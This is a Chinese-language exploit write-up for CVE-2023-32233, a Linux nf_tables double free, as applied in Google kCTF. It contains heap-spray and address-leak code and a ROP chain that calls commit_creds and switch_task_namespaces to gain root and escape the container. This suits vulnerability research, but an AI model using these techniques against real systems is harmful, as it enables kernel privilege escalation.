CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析
字数 1398 2025-08-18 11:35:59
CVE-2023-32233漏洞利用方案深度分析
漏洞概述
CVE-2023-32233是Linux内核Netfilter子系统中的一个双重释放(Double Free)漏洞,存在于NFT_MSG_DELSET消息处理过程中。该漏洞允许攻击者在特定条件下实现内核内存的任意释放,进而可能导致权限提升。
漏洞原理分析
关键代码分析
漏洞主要存在于nft_set_destroy函数中:
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return;
for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]);
set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // set->name double free
kvfree(set);
}
以及nft_commit_release函数中:
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
break;
// ...
}
}
漏洞触发条件
- 创建一个匿名set(pwn_lookup_set)
- 创建一个包含lookup expr的rule,该expr引用pwn_lookup_set
- 下发包含两个请求的netlink批处理:
- NFT_MSG_DELRULE
- NFT_MSG_DELSET
处理流程:
nft_commit_release处理NFT_MSG_DELRULE会删除rule和lookup expr,同时释放pwn_lookup_setnft_commit_release处理NFT_MSG_DELSET时会再次尝试释放已经被释放的pwn_lookup_set
漏洞利用方案
利用步骤详解
-
初始设置:
- 创建匿名set (pwn_lookup_set)
- 创建包含lookup expr的rule,该expr引用pwn_lookup_set
-
触发双重释放:
- 构造包含NFT_MSG_DELRULE和NFT_MSG_DELSET的netlink批处理请求
- 在两次释放之间使用另一个set (race_set)占位
-
内存布局控制:
- 通过控制race_set的name长度获取dyn-kmalloc-256的UAF
- 堆喷race_set控制name:
for (int spray = 0; spray != 0x20; ++spray) { char *set_name; asprintf(&set_name, "race_set_%0200hx", spray); // 分配209大小的set_name pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0); } -
获取内存读写能力:
- 使用chain->udata占位set->name
- 释放set实现chain->udata的UAF
- 分配udata的代码:
if (nla[NFTA_CHAIN_USERDATA]) { chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); if (chain->udata == NULL) { err = -ENOMEM; goto err_destroy_chain; } chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]); } -
堆喷chain->udata:
for (int i = 0; i < 0x20; i++) { char *chain_name; asprintf(&chain_name, "spray_chain_%08hx", i); pwn_create_leak_chain(batch, seq++, chain_name); }
地址泄露技术
-
通过NFT_MSG_GETCHAIN读取chain->udata的数据
-
使用nft_rule结构体占位udata泄露地址:
- rule结构中的list指针指向堆喷的相邻rule,可泄露堆地址
- expr中的ops指针保存了KO的地址,可计算gadget地址
- 结构体大小用户态可控
-
泄露代码:
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(mnl_batch_buffer, NFT_MSG_GETCHAIN,
NFPROTO_INET, NLM_F_ACK, seq);
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer));
mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
nft_counter_ops = *(unsigned long *)&mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long *)&mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long *)&mnl_batch_buffer[0x6c] & 0xffff;
ROP链构造与执行
- 利用chain->udata伪造rule结构和nft_counter expr
- 通过NFT_MSG_DELRULE触发expr->ops->deactivate调用进入ROP
ROP链构造示例:
void make_payload_rop(uint64_t *data) {
int i = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate()
// find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID;
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES;
// commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS;
data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}
技术要点总结
-
理想泄露对象特征:
- 同时包含链表指针和内核镜像/KO地址的结构体(如struct rule)
- 可以同时泄露出堆地址和代码段地址
- 堆地址可通过内核逻辑进行占位控制数据
-
Netlink对象利用优势:
- 对于桌面端内核漏洞(Ubuntu有ns权限)利用非常方便
- 提供了丰富的内存操作原语
-
关键利用技巧:
- 通过批处理消息制造竞争条件
- 精心控制内存布局实现UAF
- 利用内核对象特性实现地址泄露
- 通过伪造对象触发ROP执行